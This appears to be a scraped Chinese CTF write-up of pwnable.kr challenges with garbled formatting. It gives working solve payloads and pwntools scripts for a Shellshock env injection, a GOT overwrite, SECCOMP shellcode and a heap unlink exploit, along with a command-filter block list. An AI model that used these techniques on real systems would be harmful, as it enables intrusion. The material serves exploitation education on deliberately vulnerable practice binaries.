col@pwnable:~$ ./col `python -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'` daddy! I just managed to create a hash collision :)
-0000002C overflowme db 32 dup(?) -0000000C var_C dd ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 key dd ? +0000000C +0000000C ; end of stack variables
puts("I will malloc() and strcpy the flag there. take it.", argv, envp); dest = (char *)malloc(100LL); strcpy(dest, flag); return0; }
直接查看硬编码的 flag 信息。
1 2 3 4 5 6 7
.data:00000000006C2070 28 66 49 00 00 00 00 00 flag dq offset aUpxSoundsLikeA .data:00000000006C2070 ; DATA XREF: main+20↑r
....
.rodata:0000000000496628 55 50 58 2E 2E 2E 3F 20 73 6F+aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0 .rodata:0000000000496628 75 6E 64 73 20 6C 69 6B 65 20+ ; DATA XREF: .data:flag↓o
passcode@pwnable:~$ python -c 'print "a" * 96 + "\x04\xa0\x04\x08" + "134514147"' | ./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :)
random
查看程序源码,需要输入与随机数异或为 0xdeadbeef 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
#include<stdio.h>
intmain(){ unsignedint random; random = rand(); // random value!
intmain(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n");
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.connect(("127.0.0.1", port)) server.send(b"\xde\xad\xbe\xef") server.close()
将脚本上传到服务器 /tmp 下新建的目录中,并通过软链接引用 flag 文件。
1
ln -s /home/input2/flag ./flag
运行脚本,获取 flag 信息。
1 2 3 4 5 6 7 8 9 10
input2@pwnable:/tmp/temp1001$ python3 getflag.py Welcome to pwnable.kr Let's see if you know how to give input to program Just give me correct inputs then you will get the flag :) Stage 1 clear! Stage 2 clear! Stage 3 clear! Stage 4 clear! Stage 5 clear! Mommy! I learned how to pass various input in Linux :)
mistake@pwnable:~$ ./mistake do not bruteforce... BBBBBBBBBB input password : CCCCCCCCCC Password OK Mommy, the operator priority always confuses me :(
shellshock@pwnable:~$ ls -l total 960 -r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash -r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag -r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock -r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
根据题目名称,猜测与 ShellShock 漏洞(CVE-2014-6271)有关。
Shellshock是GNU Bourne Again Shell(BASH)中的一个漏洞,攻击者可以使用特制环境变量来运行任意命令。
查看题目目录下 Bash 程序的版本。
1 2 3 4 5 6 7
shellshock@pwnable:~$ ./bash --version GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu) Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.
测试 ShellShock 漏洞确实存在。
1 2 3
shellshock@pwnable:~$ env x='() { :;}; echo test' ./bash -c "echo this is a test" test this is a test
利用 ShellShock 漏洞读取 flag 信息。
1 2 3
shellshock@pwnable:~$ env x='() { :;}; /bin/cat flag' ./shellshock only if I knew CVE-2014-6271 ten years ago..!! Segmentation fault (core dumped)
intbetting()//Asks user amount to bet { printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has { printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); return bet; } elsereturn bet; } // End Function
voidhelp(){ printf("- nLotto Rule -\n"); printf("nlotto is consisted with 6 random natural numbers less than 46\n"); printf("your goal is to match lotto numbers as many as you can\n"); printf("if you win lottery for *1st place*, you will get reward\n"); printf("for more details, follow the link below\n"); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n"); printf("mathematical chance to win this game is known to be 1/8145060.\n"); }
intmain(int argc, char* argv[]){
// menu unsignedint menu;
while(1){
printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n");
intfilter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; }
#include<fcntl.h> #include<iostream> #include<cstring> #include<cstdlib> #include<unistd.h> using namespace std;
classHuman{ private: virtual voidgive_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual voidintroduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } };
classMan: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual voidintroduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } };
classWoman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual voidintroduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } };
intmain(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21);
$ /home/uaf/uaf 24 /tmp/test100/func_addr 1. use 2. after 3. free 3 1. use 2. after 3. free 2 your data is allocated 1. use 2. after 3. free 2 your data is allocated 1. use 2. after 3. free 1 $ cat /home/uaf/flag yay_f1ag_aft3r_pwning
printf("Hey, I have a boring assignment for CS class.. :(\n"); printf("The assignment is simple.\n");
printf("-----------------------------------------------------\n"); printf("- What is the best implementation of memcpy? -\n"); printf("- 1. implement your own slow/fast version of memcpy -\n"); printf("- 2. compare them with various size of data -\n"); printf("- 3. conclude your experiment and submit report -\n"); printf("-----------------------------------------------------\n");
printf("This time, just help me out with my experiment and get flag\n"); printf("No fancy hacking, I promise :D\n");
// setup experiment parameters for(e=4; e<14; e++){ // 2^13 = 8K low = pow(2,e-1); high = pow(2,e); printf("specify the memcpy amount between %d ~ %d : ", low, high); scanf("%d", &size); if( size < low || size > high ){ printf("don't mess with the experiment.\n"); exit(0); } sizes[i++] = size; }
sleep(1); printf("ok, lets run the experiment with your configuration\n"); sleep(1);
// run experiment for(i=0; i<10; i++){ size = sizes[i]; printf("experiment %d : memcpy with buffer size %d\n", i+1, size); dest = malloc( size );
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect t1 = rdtsc(); slow_memcpy(dest, src, size); // byte-to-byte memcpy t2 = rdtsc(); printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect t1 = rdtsc(); fast_memcpy(dest, src, size); // block-to-block memcpy t2 = rdtsc(); printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1); printf("\n"); }
printf("thanks for helping my experiment!\n"); printf("flag : ----- erased in this source code -----\n"); return0; }
查看 readme 文件,需要通过 nc 0 9022 运行编译后的程序。
1 2
the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022. execute the binary by connecting to daemon(nc 0 9022).
程序在分配内存时,总是报错退出,无法成功完成测试。
1 2 3 4 5 6 7
experiment 4 : memcpy with buffer size 64 ellapsed CPU cycles for slow_memcpy : 1802 ellapsed CPU cycles for fast_memcpy : 416
experiment 5 : memcpy with buffer size 128 ellapsed CPU cycles for slow_memcpy : 2804 memcpy@pwnable:~$
调试发现,程序在执行 movntps %%xmm0, (%1) 指令时发生错误。
查询资料可知,指令 movntps 要求目的地址必须按 16 字节对齐,否则报错。
编写测试代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
#!/usr/bin/python
from pwn import * import math
target = remote('0.0.0.0', 9022)
for e inrange(4, 15): for size inrange(int(math.pow(2, e-1)), int(math.pow(2, e))): if (size + 4) % 16 == 0: print target.recvuntil(': ') + str(size) target.sendline(str(size)) break
print target.recvall()
target.close()
运行测试脚本,得到 flag 信息。
1 2 3 4 5
$ python get_flag.py [+] Opening connection to 0.0.0.0 on port 9022: Done .... thanks for helping my experiment! flag : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt
printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000);
alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return0; }
print target.recvuntil('give me your x64 shellcode: ') + asm(shellcode) target.send(asm(shellcode))
print target.recvall()
target.close()
运行利用脚本,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11
$ python get_flag.py [+] Opening connection to 0.0.0.0 on port 9026: Done Welcome to shellcoding practice challenge. In this challenge, you can run your x64 shellcode under SECCOMP sandbox. Try to make shellcode that spits flag using open()/read()/write() systemcalls only. If this does not challenge you. you should play 'asg' challenge :) give me your x64 shellcode: H\xb8PH\xb8n1n1nofH1\x04$H\xb8o0o0o0o0PH\xb800000000PH\xb8oooo0000PH\xb8ooooooooPH\xb8ooooooooPH\xb800000oooPH\xb800000000PH\xb800000000PH\xb8oooo0000PH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8s_very_lPH\xb8e_name_iPH\xb8_the_filPH\xb8le.sorryPH\xb8_this_fiPH\xb8ase_readPH\xb8file_plePH\xb8kr_flag_PH\xb8pwnable.PH\xb8this_is_PH\x89▒1▒1▒jX\x0f\x05H\x89▒1▒jdZH\x89▒j_jdZH\x89▒jX\x0f\x05 [+] Receiving all data: Done (100B) [*] Closed connection to 0.0.0.0 port 9026 Mak1ng_shelLcodE_i5_veRy_eaSy lease_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooo
voidunlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } intmain(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B;
printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf);
print target.recvuntil('now that you have leaks, get shell!\n') + payload target.sendline(payload)
target.interactive()
target.close()
运行利用脚本,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10
$ python get_flag.py [+] Starting local process '/home/unlink/unlink': pid 203615 here is stack address leak: 0xffb4c134 here is heap address leak: 0x8d36410 now that you have leaks, get shell! aaaaaaaaaaaa@▒\xff\x1cd [*] Switching to interactive mode $ cd /home/unlink $ cat flag conditional_write_what_where_from_unl1nk_explo1t
print target.recvuntil('How many EXP did you earned? : ') + str(sum) target.sendline(str(sum))
print target.recvall();
target.close()
运行脚本,得到 flag 信息。
1 2 3 4 5 6
$ python get_flag.py [+] Opening connection to 0.0.0.0 on port 9032: Done .... [+] Receiving all data: Done (51B) [*] Closed connection to 0.0.0.0 port 9032 You'd better get more experience to kill Voldemort